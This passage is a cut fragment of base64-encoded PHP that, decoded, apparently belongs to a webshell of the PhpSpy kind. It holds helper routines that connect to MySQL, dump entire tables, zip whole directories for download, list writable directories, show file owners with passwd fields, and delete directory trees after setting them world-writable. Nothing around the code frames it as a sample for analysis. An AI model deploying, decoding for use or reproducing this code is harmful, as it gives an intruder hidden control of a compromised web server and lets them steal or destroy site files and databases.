tYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyBBcnJheSBzdHJpcApmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyBIVE1MIFN0cmlwCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIENobW9kCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gRGVsZXRlIGRpcgpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vIEJhY2tncm91bmQKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyBHZXQgcGF0aApmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsKCX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gR2V0IHVwIHBhdGgKZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgkcGF0aGRiKTsKCWlmICgkbnVtID4gMikgewoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOwoJfQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7CgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsKCXJldHVybiAkdXBwYXRoOwp9CgovLyBDb25maWcKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vIEZ1bmN0aW9uIG5hbWUKZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7CglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsKfQoKZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsKCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7CgkJCQkJJGorKzsKCQkJCX0KCQkJCUdldExpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgewoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7Cgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgewoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJfSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQoKLy8gWmlwCmNsYXNzIFBIUFppcHsKCXZhciAkb3V0PScnOwoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsKCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7CgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsKCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOwoJCQllbHNlewoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vRmlsZSBsaXN0CgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7CgkJCX0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7CgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7CgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApewoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsKCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsKCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQkJCWZjbG9zZSAoJGZkKTsKCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOwoJCQkJCX0KCQkJCX0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7CgkJCQljaGRpcigkY3VyZGlyKTsKCQkJfQoJCQlyZXR1cm4gMTsKCQl9CgkJZWxzZSByZXR1cm4gMDsKCX0KCgkvLyBTaG93IGZpbGUgbGlzdAoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7CgkJc3RhdGljICRhOwoJCWlmIChpc19kaXIoJGRpcikpIHsKCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtdPSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRhOwoJfQoKCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CgkJfSAvLyBlbmQgaWYKCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7Cgl9CgoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoKCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsKCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsKCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsKCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKCQkkZnIgLj0gcGFjaygndicsIDApOwoJCSRmciAuPSAkbmFtZTsKCQkkZnIgLj0gJHpkYXRhOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsKCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7Cgl9CgoJZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQoKLy8gRHVtcCBteXNxbApmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoKCSRmaXJzdGZpZWxkPTE7CgoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsKCQlpZiAoISRmaXJzdGZpZWxkKSB7CgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsKCQl9CgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7CgkJfQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoKCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgewoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOwoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7CgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7CgkJfQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsKCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOwoJCX0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsKCX0KCWZyKCRrZXlzKTsKCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsKCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJCX0KCX0KCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoKCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgoJCSRmaWVsZGNvdW50ZXI9LTE7CgkJJGZpcnN0ZmllbGQ9MTsKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsKCQkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkJJHRhYmxlZHVtcC49IiwgIjsKCQkJfSBlbHNlIHsKCQkJCSRmaXJzdGZpZWxkPTA7CgkJCX0KCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsKCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOwoJCQl9IGVsc2UgewoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQlpZiAoJGZwKSB7CgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7CgkJfSBlbHNlIHsKCQkJZWNobyAkdGFibGVkdW1wOwoJCX0KCX0KCWZyKCRyb3dzKTsKCWlmICgkZnApIHsKCQlmd3JpdGUoJGZwLCJcbiIpOwoJfSBlbHNlIHsKCQllY2hvICJcbiI7Cgl9Cn0KCmZ1bmN0aW9uIHVlKCRzdHIpewoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsKfQoKZnVuY3Rpb24gcCgkc3RyKXsKCWVjaG8gJHN0ci4iXG4iOwp9CgpmdW5jdGlvbiB0YmhlYWQoKSB7CglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsKfQpmdW5jdGlvbiB0YmZvb3QoKXsKCXAoJzwvdGFibGU+Jyk7Cn0KCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7CglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIi